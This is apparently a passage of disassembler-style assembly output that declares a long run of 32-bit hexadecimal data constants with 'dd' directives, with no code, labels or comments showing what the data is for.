dd 0EDE049A3h, 92F91DD7h, 935581C5h, 13004BF4h, 536916EDh
dd 330380C8h, 23684979h, 8A3F174Ah, 4EF4809Bh, 48FFC9CAh
dd 29F2B563h, 398FFFAEh, 257258ABh, 0A493E3CAh, 0E3221862h
dd 29AEDAEh, 52C61348h, 0ABE42EDAh, 0FE7932E2h, 3ECDBE4Eh
dd 0D7717230h, 29807F56h, 0DD63A24Ah, 0E40ECA62h, 54F2E655h
dd 91EE0467h, 645A0917h, 461FFD47h, 55FD11E6h, 4C1F9FDDh
dd 6BDA52A2h, 63B580FCh, 0E50FE229h, 7F8EE175h, 4B7EBA4Dh
dd 0D5ACFC78h, 723CDC8Fh, 0AAB0AA6Ch, 7CCAFAD1h, 0A97DC27h
dd 7FD82376h, 2155FA67h, 3F999E8Eh, 29C54C03h, 2C709346h
dd 2A094067h, 6B76AB8Eh, 2BA84603h, 0BB6538C5h, 0AA8F8527h
dd 0F357957h, 4A8F95DFh, 0A3CA41D3h, 0B397E9A2h, 0F0596595h
dd 0CC4A1042h, 6EC9548Ah, 0D35D4F30h, 5B68A209h, 0D4A74ED8h
dd 66C3AA39h, 85D1D468h, 6AA97771h, 96E6546Ch, 0CEC039D2h
dd 31913D24h, 0F059B9F6h, 701E47A7h, 407800EEh, 281311B3h
dd 2478990Eh, 3E2CE7BBh, 7DE480A8h, 0BA6FD198h, 6B22A901h
dd 9B7FEDC4h, 0FF521BA5h, 82BB64B9h, 7FCE9991h, 61946D1Ch
dd 105793DAh, 98342EB8h, 0C4097288h, 662DDE00h, 0F279614Ch
dd 9BAF597Ah, 1FE5AD49h, 0C5CFC763h, 63D26455h, 11DF4467h
dd 0F822E997h, 0C4036D07h, 34F399C6h, 3BEAE5A7h, 229ADE96h
dd 25DC05BFh, 0A2430A0Bh, 0A3D3B6BAh, 37ABA29h, 0C2AEF858h
dd 6AC02961h, 9AAF2174h, 70CAB5EDh, 0C97F5A5h, 0F6D81BB7h
dd 0E1D50A87h, 0D0591A9Eh, 0B9E5CE1Bh, 3200107Ah, 28114969h
dd 0EB7AAC09h, 0EEAE40C0h, 9FE43C24h, 9E4F0157h, 312BD5Fh
dd 42BFF1DBh, 0A53255D1h, 348BE5A5h, 0CCD71D96h, 0E8F4E9BCh
dd 0D7E9D78Ah, 5B5D8AB8h, 0D761C289h, 0C6A3DE18h, 75C3A259h
dd 9A52C878h, 7AE6E549h, 86860760h, 0FED006D4h, 81993CA6h
dd 5E7137h, 401C5347h, 207B12FEh, 301482ABh, 2878F672h
dd 2C2CD675h, 0EAE4A04Fh, 6BEFB96Bh, 5B62BD08h, 0BB5FFBC0h
dd 77425AA7h, 8EB3E4B6h, 3DCA1916h, 0C296ED5Fh, 0AFD813FAh
dd 10752E88h, 4829B280h, 0E43D7E04h, 0F270924Eh, 1B2B427Bh
dd 5CA7AA49h, 0A6ACC663h, 70C5F855h, 89D78567h, 7C264917h
dd 4201DDC7h, 3FF061A6h, 31696B97h, 285A969Eh, 2C3C2CBBh
dd 0AA733509h, 2B2B8739h, 0CB66B6E8h, 0EAA0F6B8h, 92C12011h
dd 9AAFA97Ch, 84CA7D69h, 6961DE8h, 41D80390h, 0A0550AB4h
dd 70199697h, 805501Fh, 3C109178h, 0A2194F68h, 0AF7EAA89h
dd 89AC4680h, 8C633804h, 820E8547h, 372F967h, 40AFD5D7h
dd 0A03A21D7h, 0B00FF9A4h, 88151D96h, 0C17F3BCh, 0C3E6528Ah
dd 2365CEB8h, 509D6208h, 0E8BD6E58h, 63C25A79h, 0DDC24C98h
dd 3C3623D2h, 0C1B6E6F7h, 96301645h, 169134B7h, 57427DE7h
dd 0B70A5DF7h, 776A135Eh, 54040230h, 2769367Ah, 453CB6BAh
dd 7CF4B0FEh, 3C7FB1EBh, 7DB2A1E0h, 0A02FF95Fh, 29A2252Ch
dd 4DBBE524h, 3CD61905h, 6480ED0Ch, 66491308h, 8BA5AE08h
dd 5ED87276h, 0AD1D1E9Ah, 0B41882DBh, 0F4A74AEBh, 0C479B6DAh
dd 259DC0F0h, 0C7A579DBh, 0C6DF45F4h, 0A339A904h, 6817CD09h
dd 4C9D1CE8h, 10E9E7AEh, 83D48A6h, 0C3C6DA7h, 8A430527h
dd 8B03AF98h, 0AB42EA88h, 0AA82D4B8h, 0A2E60721h, 828E0864h
dd 0B0FA0DD5h, 30A60D1Eh, 0F0E843C1h, 0D0E52294h, 0A0E9A29Fh
dd 28156223h, 7410A64Eh, 15D17E5Bh, 7162AA08h, 0A8A24640h
dd 0FDE23864h, 89CE0577h, 1F52396Fh, 43BE35D3h, 0A4C23335h
dd 3463F547h, 4FB31777h, 25D6F95Ch, 0B816DB6Ah, 268C3D58h
dd 43790D68h, 0FB5F6E78h, 602D4079h, 8EB3C4F8h, 6C8677B9h
dd 9FA6D1F8h, 9AD1FD38h, 9C693040h, 9FB66754h, 0A1F87FE6h
dd 23952E3Eh, 0E5F5A73Bh, 79950DAh, 79CCBE31h, 0C3036AFDh
dd 0D90F8592h, 35028B94h, 6AFFC72Eh, 0D5421641h, 0C343D154h
dd 6E222FF7h, 2572D53Fh, 8D3A295Bh, 19121208h, 72080C50h
dd 0A8FD7ECCh, 0CF60F0BAh, 5E137681h, 84EBF494h, 2F7A8A8Dh
dd 5B5CB0B5h, 0B42B4E87h, 2BCBC6F7h, 0FE4EDA7h, 6A16A386h
dd 6189F717h, 7E3D1C6Eh, 749C2263h, 0F17306E5h, 761BD7DFh
dd 14AE928Bh, 0CB749519h, 0D0DF45D1h, 0EF52CC2Ch, 0EB2B9B41h
dd 6B7735ECh, 28388922h, 4AB5B64Dh, 0DF79E04Bh, 19A534F1h
dd 0BFD0ED9Fh, 0C09368Bh, 6486DE68h, 0C6403DE0h, 9E815DA4h
dd 0F261F807h, 66520757h, 0C2AE95CFh, 244A833Bh, 34A48D5Eh
dd 8E51930Bh, 0C5D97F52h, 0A9EFDA6Dh, 7E90FD5Bh, 0E777ADE9h
dd 4D5E1E38h, 0E92D5859h, 23380C8h, 0EE4719B1h, 1C8640FCh
dd 6561753Ah, 9C11BCC1h, 5FAAF914h, 41F6FEC6h, 0B39CAE4Eh
dd 7DF1A7F3h, 839B10BEh, 0FFCFDE03h, 0C2047AF4h, 198F4D96h
dd 55C22796h, 7D1F752Eh, 0AD72ED40h, 673B5654h, 103EAE77h
dd 0AC7C55FFh, 0F1BBA9BBh, 98D21218h, 0D684C48h, 29121ED0h
dd 4F3860A4h, 5FFFFE9Eh, 0C4FD78ABh, 8F73F482h, 0EB58B1B5h
dd 3C2A0E87h, 0A7CC2677h, 8DE5FDE7h, 0E9166BA6h, 0E2096B07h
dd 0FE7DEA56h, 0F4BCBB6Fh, 716382E3h, 7613495Eh, 0D4AA13CBh
dd 0AB761539h, 40DCC541h, 1751CC74h, 6F2B5B7Dh, 0F57795E2h
dd 2938392Bh, 8A350E49h, 3EB96449h, 985B6F0h, 67206E9Fh
dd 6811B58Bh, 0F28A5DE8h
dd 0BF46BE20h, 1A00C244h, 8CA1F9F7h, 0E77347DFh, 6BFE750Bh
dd 0D3527FB9h, 5D586D91h, 0C9BF209Ch, 5C20F5B9h, 2630EDBAh
dd 4341868Dh, 0C7F4A2B1h, 0FED87B7Ch, 0BAFE33E9h, 0AB654D0Ch
dd 0C7A6A411h, 0C1439713h, 8191F0FCh, 807921B2h, 4E432Dh
dd 0C1F45EDAh, 0E02F55A0h, 501A830Bh, 583F35CAh, 0B02D56DDh
dd 0F6A277CCh, 14D9B9F1h, 0C9218CB6h, 4F6AE6A0h, 0E2C4BD18h
dd 0DDBAC54Dh, 97572458h, 5E47C342h, 75B6900Ch, 0F8345D77h
dd 0B2E1A76Fh, 6CFCFE74h, 8C9045B1h, 1A1BA20Fh, 43208A43h
dd 2690DE66h, 0BBEC57h, 5DF9B957h, 141BF222h, 0F9475EFEh
dd 2BB0C762h, 0FC5B89E7h, 1A6B080Ah, 0B1DD5A73h, 0CDD63C81h
dd 6D05DCADh, 0ACD8A432h, 2489BBC5h, 0BCAC49BFh, 0F2A9A88Bh
dd 0F7D77D2Fh, 41819DD0h, 56C9C366h, 4456A04h, 7E084604h
dd 8C9528BDh, 34C08DD2h, 3D6949C6h, 943EB725h, 6694402Dh
dd 95CF14A9h, 1825F762h, 71E398A9h, 43F63289h, 0C83688CCh
dd 927BF5F1h, 0FBDA399Ch, 0ED4EB2D4h, 6C6C87FCh, 3213FA98h
dd 0D4E5A27Dh, 86D07558h, 0ECA56D98h, 0F3A70868h, 0E340FF93h
dd 0E445B194h, 8192806Bh, 65154852h, 3077149Bh, 4F9D374Ch
dd 6006550h, 0CC736F7Dh, 19045379h, 6B594380h, 5F869C76h
dd 0C40A3E15h, 96D09076h, 0ACD289BAh, 3C1140D4h, 0BD7989D1h
dd 0C5171CE5h, 15DC81F0h, 4A65121Bh, 250FAED8h, 0B2F57218h
dd 0D8EF9E78h, 8CDA4260h, 9A1FEA22h, 831D6642h, 693E866h
dd 40B85557h, 61CACF66h, 302CE297h, 0B8052E87h, 2CF6BA06h
dd 0CEE9BC47h, 2D1D3B66h, 0D39C6277h, 0ABA358D0h, 0AB439524h
dd 8AB2CD76h, 0ACAF5E7h, 42D2278Eh, 22A82883h, 30C73D86h
dd 2891BD7Fh, 6CD933CAh, 2AD572A9h, 0BBD842A9h, 0EBA52A10h
dd 8F60827Fh, 9A81486Bh, 332B708h, 478A4040h, 0E15639E4h
dd 71B40537h, 184939CFh, 43CDB5E3h, 0A66971BDh, 31275193h
dd 49A1A19Dh, 0AC21C9B9h, 0F2036588h, 4B7647B9h, 9C962688h
dd 0F2BE0C98h, 87CC0919h, 9D537758h, 866790F9h, 80C6D1A8h
dd 81F1F370h, 806926F4h, 8006668Eh, 1F05E0Bh, 40690C58h
dd 0A01B8318h, 707C765Bh, 882D16E0h, 0BCE38015h, 82EE4976h
dd 0FE2F576h, 0C19E1FCFh, 206228A0h, 8A03FBB4h, 0F329474Ch
dd 4F71A884h, 4A261260h, 22EC2EA8h, 0B2E53210h, 0E8E7BE7Ch
dd 8CDE7262h, 1A1DD20Dh, 0C31A6242h, 0E6926A66h, 50B81657h
dd 19CAEC66h, 342C9517h, 0A6053747h, 2DF6BEE6h, 0CE6842B7h
dd 2CDD3A6Eh, 0D3FC6273h, 0A353586Eh, 3B5B956Bh, 6ABECD51h
dd 6ACCF594h, 0F2D32786h, 2AA8A887h, 3CC6FD85h, 0AA91DD7Ch
dd 2FD923CEh, 0C9557AA9h, 8B985EA9h, 93DCBF15h, 8B70837Fh
dd 8489486Bh, 0EA36B788h, 97184105h, 588538C1h, 0D1C78422h
dd 184978D2h, 43D5959Fh, 0A66541B3h, 0B1216992h, 9A0A59Dh
dd 0CC214FB9h, 0E202A488h, 537627B9h, 98963608h, 0F4BE04D8h
dd 86CC1539h, 9DD37168h, 86A791F1h, 80E6D1ACh, 81C1F3F2h
dd 1126B5h, 0C01A66AEh, 61FE5E1Bh, 50680C40h, 0B81B0364h
dd 747CB655h, 0E22F6E1h, 0FDE39015h, 0E26E4176h, 1F22F976h
dd 0D97E1DCFh, 24522BA0h, 0D73BFCB4h, 0A90E1D97h, 9CB4F31Fh
dd 0C3F7122Ah, 0AADCAE49h, 3AC5F2F9h, 608F5EB1h, 4D2629Dh
dd 0F203DAFBh, 30B6EB0h, 0C692E467h, 60B8D757h, 11C50C66h
dd 382C8597h, 0A4053F07h, 2EF6B2C6h, 0C9E840A7h, 2C9D3916h
dd 0D3DC657Fh, 0A94359ECh, 0AA5395A2h, 0DEBACDB1h, 1FDEF575h
dd 0B6C0276Eh, 0C6B7284Ah, 0ECD6BD7Bh, 0F081FD88h, 5AC91338h
dd 0E9C28259h, 9C585AA9h, 9BE52E10h, 8700807Fh, 8691376Bh
dd 13AB608h, 408E40C0h, 0E0D43924h, 71F70557h, 1856B9DFh
dd 41DDF59Bh, 0A46151B9h, 0C1236195h, 89B3596Eh, 1C3ECD49h
dd 2212E378h, 0AB660649h, 0B4860678h, 0F6A9FCEAh, 85DC11ABh
dd 82537378h, 86E792C9h, 8086AEA0h, 81D1F274h, 80192676h
dd 1E664Fh, 41FC5E6Bh, 206B0C48h, 0B01C8360h, 287CF657h
dd 32D617h, 0E2F3A0E7h, 0C3FE3986h, 2F62FD76h, 0D15E1BCFh
dd 28422AA0h, 0D433FCB4h, 0AA0A1D17h, 0B36F35Fh, 4AA812FBh
dd 22AD2E88h, 0B2C5B200h, 0E8977E44h, 8CC5926Eh, 1A11C20Bh
dd 43186A41h, 0A6956667h, 70B8A857h, 9C52D66h, 3C2CB517h
dd 0A20547C7h, 2FF6B6A6h, 0C9684697h, 2C5D381Eh, 0D23C657Bh
dd 0AB73596Ah, 14AB95E9h, 0CAA6CD90h, 0EAC0F5B4h, 92D12797h
dd 1AA7A8BFh, 44C67D88h, 0A6901D78h, 0B1D903C9h, 88528AA8h
dd 8C1856A9h, 82053010h, 8310817Fh, 8099376Bh, 3EB688h
dd 400C4080h, 0E0133904h, 70168547h, 1866F9E7h, 0BC25D597h
dd 0A67D21B0h, 0B12D7994h, 89A25D9Eh, 0C2E53B8h, 0C2022288h
dd 0A377E6B9h, 90961608h, 88B9F458h, 84CC1D79h, 82D36D08h
dd 872793C1h, 80A6AEA4h, 8021F2F6h, 12637h, 4012666Fh
dd 0A1FA5E7Bh, 306A0C70h, 481C036Ch, 6C7D3656h, 3222B6E7h
dd 7BE3B016h, 236E3177h, 3EA2E176h, 293E19CFh, 2FB235A0h
dd 0AA2BFDB4h, 0AB061D97h, 0BB0F39Fh, 4B69129Bh, 228DAE98h
dd 0B3347278h, 0E88F1E48h, 8CC98268h, 9A17CA08h, 83197640h
dd 8695E067h, 80B96957h, 1C54D66h, 0C02CA597h, 0A0054F86h
dd 10F6AA86h, 0C8E84487h, 2C1D2706h, 0D21C6447h, 0AB6359E8h
dd 94A39528h, 8AA2CDF0h, 8AC2F5A4h, 82D627EFh, 2A628B3h
dd 40C63D8Eh, 20903D7Bh, 70D973C8h, 0A8D292A8h, 7CD852A9h
dd 8A253210h, 7F20867Fh, 8261366Ah, 3F22B608h, 41824040h
dd 0E0523964h, 70360577h, 187639EFh, 0BC2C3593h, 0A67931B6h
dd 312F7197h, 49A5519Fh, 2C2FD1B8h, 0B2026188h, 0AB77C9B9h
dd 8C966788h, 8AB9EC98h, 83CC1999h, 83536F18h, 876794D9h
dd 8046AFD8h, 8031F238h, 800926D0h, 8016661Ch, 81F85E72h
dd 650C74h, 401D836Eh, 0E07D7651h, 0F02296E4h, 58E24017h
dd 1CEE2977h, 36E2E576h, 251E17CFh, 2DA234A0h, 0A923FDB4h
dd 0AC821D17h, 0BF2F3DFh, 4B0A12BBh, 229A2EE8h, 0B33C3230h
dd 0E88B3E6Ch, 8CCBB27Ah, 1A14B271h, 0C316F24Ch, 6695A261h
dd 10B94A57h, 79C57A66h, 242D5C17h, 0BE054B47h, 29F6AC66h
dd 0CC6845F7h, 2DDD270Eh, 0D37C64C3h, 0AB9359A6h, 2B7B950Fh
dd 4A8ECDC3h, 0AAB4F5ADh, 0B2CF27EBh, 0AAAA8B1h, 0CCC7FD8Fh
dd 62915D7Bh, 13D9E3C8h, 0BF555AA8h, 64984EA9h, 8E452410h
dd 79308F7Fh, 83694A6Ah, 3FA6B488h, 41404700h, 0EFB13844h
dd 703985E7h, 180E7937h, 0BC3015EFh, 0A67701A4h, 0B12E89AEh
dd 9A5D593h, 4C2F17BEh, 2205808Bh, 7377D9B8h, 0A8966F08h
dd 0FCB9E0D8h, 8ACC67B9h, 9FD36E28h, 85A794D1h, 8766AF5Ch
dd 8181F27Ah, 7126F1h, 0C00A660Ch, 0E1F65E4Ah, 106C0C78h
dd 58190368h, 647FB650h, 0B62D76E4h, 0B9E3D017h, 0C6E6177h
dd 4E22C976h, 22FFE5CFh, 33922FA0h, 0A85BFAB4h, 0AC1E1C97h
dd 0A3CF31Fh, 4B2B125Bh, 226AAEF8h, 0B324F228h, 0E884DE70h
dd 8CCDA264h, 9A15BA0Eh, 3167E43h, 46945C66h, 20B92B57h
dd 71C56A66h, 282D5497h, 0BC055707h, 2AF6AE46h, 0CFE84AE7h
dd 2D9D2636h, 0D35C644Fh, 0AB835964h, 0AB73956Eh, 0A8ACDD3h
dd 4AB6F5D5h, 0A2CC27A7h, 72A92897h, 48C7BD9Ch, 0BC917D02h
dd 32D9D3C4h, 4FD562AEh, 0ED584AA9h, 0F2652610h, 9BC08C7Fh
dd 9C71496Bh, 62AB708h
dd 450640C0h, 0E19039A4h, 71290517h, 1887B9BFh, 43F475ABh
dd 0A6551199h, 31598181h, 0C9BC4984h, 6C235585h, 1203AF89h
dd 0FB76A8B9h, 0E496F788h, 9EBE2418h, 99CC05D9h, 84537938h
dd 81E79DA9h, 8106D390h, 8091F09Ch, 80F92182h, 0CE6705h
dd 0C1D45ECEh, 0E05F0CBAh, 0D1E28308h, 6763F643h, 91DCA922h
dd 8D22E01Bh, 18EED971h, 0C6A20D75h, 76DE03CEh, 14423EA0h
dd 52D3F2B4h, 0AC9A1017h, 985EF15Fh, 41FC117Bh, 0AA6331C8h
dd 0BA60B3A0h, 78C6FEB4h, 842ED286h, 8B1A221Fh, 4BDE3A5Bh
dd 0B4907E1Ah, 387B1C59h, 7ACA9361h, 0E4ECD014h, 9A0511C6h
dd 1BF68F26h, 0C769BAD7h, 215D3EBEh, 0D1BC600Bh, 0A8B35B42h
dd 14CB8A5Dh, 0CAF6CCDAh, 6AE8F555h, 0D2DD2765h, 0FAA1A8F6h
dd 14C37DACh, 0DE939D0Ah, 25DAC3C0h, 5652EAACh, 691806AAh
dd 34850811h, 0BAD0BD7Fh, 6CF9316Bh, 0EEEB388h, 0BAE44280h
dd 0E39F3A84h, 8E508207h, 191BF847h, 43BA5527h, 0A7B4E15Fh
dd 0B14919E0h, 89B48DB4h, 8C24BB8Dh, 201BE82h, 0C371A0BFh
dd 60977B0Bh, 50BE5A59h, 0B8CC24F9h, 0F4D30948h, 8A278561h
dd 9D26D7F4h, 82E1EEAEh, 7E1208Bh, 41426701h, 21925E4Ch
dd 70BE0CFAh, 29F20329h, 0BC683633h, 6A2736D5h, 8FE0F01Fh
dd 7961D173h, 43A3B174h, 0BFBE41CEh, 0F17219A0h, 0CF8A03B4h
dd 5DB60897h, 0F248F59Fh, 0B7251FFDh, 2467B0D8h, 0B2217398h
dd 0E9019E38h, 8C8F42C0h, 9BEA6A3Ch, 8306262Ah, 69C0852h
dd 40BD057Dh, 0E1CB9773h, 702C4EEDh, 0D804D0CAh, 0FCF6EF20h
dd 56E9AA57h, 591D36FEh, 359C7C2Bh, 0B6A35D31h, 2DC38B55h
dd 0CE72CCDEh, 6B2AF5D3h, 53822724h, 0BA5028D6h, 0F71B3DBCh
dd 0CEBFBD12h, 0DDAC33FCh, 524BF2ADh, 0D71482ABh, 7584CA11h
dd 0DA51D27Fh, 7D39A06Bh, 168D7B08h, 0BEF45E40h, 0E5872CE4h
dd 8F5C8B37h, 199DC44Fh, 437B57A3h, 0A794661Dh, 3178D8C3h
dd 484CED25h, 0AC38AB55h, 0F20FB6FEh, 0CB70BCB2h, 0DC97FD32h
dd 12BE9B55h, 0D7CDC4FFh, 655319CBh, 52678D20h, 0BAC6DBD4h
dd 0F4F1ECBEh, 0EE92393h, 5DC6783Dh, 23505FC2h, 0F7990C3Bh
dd 684383C9h, 0DC107623h, 7A3B16CDh, 97EE8063h, 7D68C97Dh
dd 0C5A73573h, 7EBCBFCDh, 0D1EDF8A1h, 0FF4B93B4h, 55964017h
dd 1E78D9DFh, 0B5CDED3Bh, 277BABA8h, 4DAF7490h, 0E9409FBCh
dd 8CAFC202h, 1BFAAADDh, 0C30FC63Ah, 0E698184Ah, 50BF0D61h
dd 99C89B6Dh, 0F42BCC92h, 6049385h, 0DDF6C007h, 66699BC7h
dd 50DD4E26h, 39FC78D7h, 0E4535F3Fh, 0AEDB884Ch, 77FECBA2h
dd 0B7CF4FBh, 0C0A327C3h, 0B440A825h, 0D302FD5Ch, 0F8BBDD16h
dd 0D4AE23FEh, 0DEC8FAA2h, 15D71EACh, 56A48C12h, 0E5E1F37Fh
dd 7541906Bh, 1A914388h, 0BCFA5A00h, 0E68E2EC4h, 8CD80827h
dd 19DF0757h, 4318B45Fh, 0A783F193h, 67709102h, 858C12Ch
dd 0CC3A99A5h, 0E20CCDF6h, 0D3733BB6h, 0D897BC8Ch, 94BEBB9Ah
dd 16CDF418h, 45D321D8h, 62A78938h, 0B2E6DDC8h, 0F8C1EDA0h
dd 8C91238Ch, 9EDA7882h, 0DE5F8Dh, 0C7D80C1Bh, 0B62303F9h
dd 0D010B6C2h, 7830F6C9h, 94EA9061h, 0FEEAC17Ch, 85E43973h
dd 1E9F3DCDh, 0C1DDBBA1h, 0E743B4B4h, 51927197h, 187AE11Fh
dd 0B4CEE9DBh, 27F82DB8h, 4D6F3588h, 0E9A0BF80h, 8CBFF28Ch
dd 4DC2929Ah, 363C2F0h, 0C6861A7Bh, 60BE0E69h, 91C81869h
dd 0F82B0F10h, 84047044h, 9EF6DFE7h, 1E99237h, 409D42AEh
dd 21DC7613h, 0B0435E5Dh, 28D38863h, 4CFACB55h, 2BEEF416h
dd 0F36027C5h, 0B69F2826h, 4332BD59h, 8693FDFBh, 7BC21313h
dd 8946024Eh, 75861A41h, 8D40EFFh, 95E13092h, 0BB60014h
dd 65AA2D77h, 0CC672DBFh, 0BB9D225Bh, 0D0C386BAh, 45CB46B2h
dd 430A94B6h, 0A784C111h, 310ED945h, 0C84885E6h, 0EC4547B4h
dd 0D20CBC8Eh, 0DB4FB3BAh, 0D497B80Eh, 168085DBh, 55CDF538h
dd 0AA1313E8h, 72E789B1h, 0A86DD8Ch, 0FCD1ED78h, 29923FDh
dd 11DE788Ah, 0C5C5E89h, 781B0CE5h, 0F8048303h, 9470F62Bh
dd 0B028D6C9h, 11E6A163h, 766CB981h, 81253D88h, 7FBBCDh
dd 58D27AA1h, 3BFBD5B6h, 6E61EAh, 1824E9A3h, 0B43F15FBh
dd 9FE0AF88h, 7163F382h, 0B1A65E7Ah, 8CBEE2F2h, 1BC21A5Bh
dd 57720E79h, 0E2867568h, 70BE1FAFh, 89C81065h, 0FC2B1396h
dd 2047607h, 5FF6DEC6h, 79699227h, 585D42A8h, 0AC3C76E1h
dd 30735EA5h, 1E2B889Ch, 0CFE6CBABh, 1E60F4E8h, 9212738h
dd 2ABFA8D8h, 15327D4Ah, 0CA8A1DE9h, 8D60301h, 95D40A5Ch
dd 7E591653h, 36E590EDh, 9E817180h, 8D15F94h, 88DAA277h
dd 111E4A7Fh, 569C26FBh, 4ED304B8h, 0CBD8B998h, 0A31AF5A8h
dd 5784D168h, 0B571217Bh, 9848B886h, 2A3ABC84h, 0FE0CBA86h
dd 6B7323BEh, 8497B98Bh, 0CCBEC418h, 0E4CDF459h, 0CD320F8h
dd 23278889h, 30A6DC80h, 0A321EC84h, 0B08122FDh, 3ED27988h
dd 0FDA5E8Ah, 0FE5A0D1Ah, 9DE402FBh, 0F2613728h, 1A20B7CAh
dd 16E2B162h, 25EEB07Fh, 2F622070h, 0BC5E38CEh, 8C204A2h
dd 33F3F4B7h, 0B46A1094h, 0E426F09Ch, 0BE201098h, 31E1309Ch
dd 6163B2FCh, 0DFA67F8Ch, 0C8BE138Ch, 0C9C2031Ch, 0ED720B5Ch
dd 0E86771Fh, 1ABE115Dh, 29C81065h, 3C2B1210h, 4E0477C2h
dd 0E0F6DFA2h, 38E99313h, 321D435Ah, 0F21C771Eh, 9A635F5Fh
dd 2A238964h, 84E2CA51h, 8CE2F513h, 6AE626C3h, 5EDE2922h
dd 24C23CB1h, 0A923D16h, 0C7DA72FEh, 0D45213A3h, 241813ADh
dd 4D051313h, 0C490B77Eh, 3AD93F6Ah, 70DEB309h, 0CF1C4341h
dd 6A9B3B65h, 2ED28376h, 0A1D8F96Eh, 931AD452h, 4F84A014h
dd 0C97138C6h, 4248BCA6h, 363D4296h, 0B20CBB9Ch, 58732282h
dd 0B817B805h, 3D3EC559h, 0C64DF579h, 0E8D32188h, 81E78981h
dd 96C6DD84h, 8EB1ED86h, 20923FFh, 4356788Bh, 0ACD85F89h
dd 0B1150C19h, 864583F8h, 9CD1762Bh, 915896C9h, 897D4061h
dd 0B3E0A97Ch, 86232573h, 39BEB7CDh, 0CBB2C4A1h, 0F36A15B4h
dd 41E60117h, 77A0F9DFh, 0B4A11DBBh, 83E1B3E8h, 4D6271B2h
dd 2FA611ACh, 5ABE0218h, 0F1C20BC3h, 0C37217A6h, 66867116h
dd 48BE1141h, 91C811E3h, 602B1324h, 8204765Fh, 6DF6DE6Bh
dd 206992E0h, 0C5DD42A4h, 337C76E7h, 0DC935EA7h, 0D8FB889Eh
dd 0F7CECBABh, 0BB54F4E9h, 5A9F2739h, 92C2A8D8h, 44D3FD4Bh
dd 0A59B5DE9h, 545EE301h, 4610DA5Ch, 88FB0E53h, 0E31284EDh
dd 2898FF80h, 0A6DD1294h, 0FADC8077h, 431339FFh, 0E29ABDBBh
dd 9CD2C2E7h, 3FD8D9B7h, 7F1524AFh, 0EF84B81Bh, 0E5713CDEh
dd 6C48B2BBh, 3C3D438Ah, 0A40CBB81h, 5373233Dh, 5A97B94Ah
dd 3CBEC479h, 0EACDF40Ah, 0D9D320C3h, 0DFA788A6h, 0C766DC95h
dd 6881EC9Ch, 3CF12280h, 27CA7986h, 0A5565E8Ah, 6A9C0D1Ah
dd 43C102FBh, 2E53B728h, 53DB77CAh, 537ED162h, 62A0E07Fh
dd 7DC30870h, 0AAE84CEh, 0D6EAFEA5h, 0CBC613B0h, 66500193h
dd 5C59F81Bh, 0E63D9C5Fh, 49E072FCh, 0C56311ACh, 73A680B4h
dd 24BECA00h, 27C217DAh, 0CD7201BFh, 0A686780Eh, 0D8BE1C45h
dd 0E3C81299h, 0CA2B119Fh, 2E047084h, 0E4F6DE00h, 0A9E993C3h
dd 779D43A3h, 0A15C7712h, 20835F45h, 96F38959h, 55CACB5Ah
dd 0EB56F511h, 0C29C26C5h, 0ECC12927h, 0ED3BCB5h, 0F69B7C17h
dd 6ADED2FFh, 0BCD0E3A2h, 55DB0BADh, 0D8A28713h, 48E0FD7Eh
dd 0CCC1106Ah, 0CAD28209h
dd 5B1A3BC1h, 1E9E3FA5h, 86D00116h, 3DB3A3Dh, 431AB369h
dd 0D484F0F9h, 45F11131h, 0DFC8812Ch, 79BAB9D1h, 118CBDBFh
dd 69F32392h, 2817B89Dh, 373EC582h, 0ED4DF51Bh, 6ED321D9h
dd 0D06789B9h, 0FA86DD88h, 9811ED80h, 8DF923FCh, 960E788Ah
dd 0DB45F89h, 0F50F0C19h, 0E7CA83F8h, 0A917F62Bh, 937956C9h
dd 904DE061h, 975B597Ch, 0EE5F4D73h, 20A3CDh, 64E3CEA1h
dd 0E7C2ABB6h, 9652C417h, 0CE5A1E5Dh, 5E3E0D79h, 27E03ACAh
dd 4D633D23h, 0E9A6B3F4h, 0F8DBB726h, 70A178BBh, 2D076E70h
dd 268679BAh, 59D054A3h, 5A97AF8h, 0EF4E6AEBh, 137018EFh
dd 989ABE78h, 161DF1BCh, 0D55D2CD6h, 8BD23308h, 0E7F02C25h
dd 0FD22FC35h, 0E065A73Bh, 68E18072h, 0C1AD27ABh, 801CE426h
dd 62EC18C2h, 0BBACE97Fh, 419CAF9Fh, 0B9B11EC0h, 29DFC6C2h
dd 20C52F12h, 0A287992Ch, 18A6F70Ah, 1AD2CFEDh, 0C77F5380h
dd 87FD60C8h, 0E1B96C6Bh, 19DB3FA2h, 377FF767h, 0D2E09CB2h
dd 0D837775Ch, 0E906E7C0h, 8C7BDF7Ch, 4E0CBE5Ch, 2F12430Dh
dd 4FFBD754h, 30BEBA25h, 8DBFB7E5h, 0AAB65557h, 5342E547h
dd 0B256ADB2h, 0A7A08AD0h, 52612393h, 28CE0CD8h, 57772BF1h
dd 0F2FC6369h, 27CA03F9h, 0B582464Ah, 1CD641ACh, 0F2B19927h
dd 0A853517Ch, 0F5FA1C1Dh, 69A7C89Bh, 0A8B6AFEEh, 0E7494ED8h
dd 34E6CB97h, 741179F1h, 0C4AC717Eh, 4095EAA8h, 4D6F7859h
dd 86CCD6F8h, 0EDF7A453h, 0FEAECD82h, 0C073C5B2h, 67F672E1h
dd 34ED69F1h, 6A672CEh, 0B02B0C4Bh, 1D6820D9h, 0CCF6A05Ch
dd 8A87DAE8h, 0FA713054h, 0FBF91DAFh, 0EDC02667h, 6324E62Ch
dd 8232CB22h, 15EB912Fh, 0A4C76A86h, 79B95050h, 9B6F3DCDh
dd 0B34BD86Ah, 0AD9A478Dh, 5E6072E2h, 305181ACh, 0E61B1E73h
dd 90B18D0Ch, 4D3B6B18h, 4DAE0F08h, 0D3888025h, 95CA6B97h
dd 8C2ADF45h, 5A1FF3CFh, 375D3206h, 0CB9AA498h, 3168DB56h
dd 3C21892Dh, 0DC51F105h, 9A79AE2Ch, 4B73B832h, 68FD38EDh
dd 42D3BD1Eh, 82A18AA1h, 83E4979h, 5E6675EFh, 44A99C13h
dd 0DB98ACA4h, 2D6963C6h, 39E32B35h, 4E5C3600h, 81FD783Ch
dd 9E3EE183h, 1F550577h, 0DB916C5h, 0A1D9E906h, 1C183B10h
dd 3CFB121Ch, 59AEBD82h, 0B6F1BCC2h, 9ABAC7B4h, 34A52765h
dd 1A981EB1h, 0C7AE403Bh, 561EE8DAh, 4D2B0579h, 8CF0D4FCh
dd 0C9D5B243h, 6FA54D9Bh, 0C3778573h, 92E16C4Eh, 3ED48AA6h
dd 19C983D8h, 0C04E0F32h, 3683493h, 0BF85557Eh, 0A1CE982h
dd 549C35D5h, 0F6FC748Ch, 8736556Ch, 6538E651h, 0A57BAF8Fh
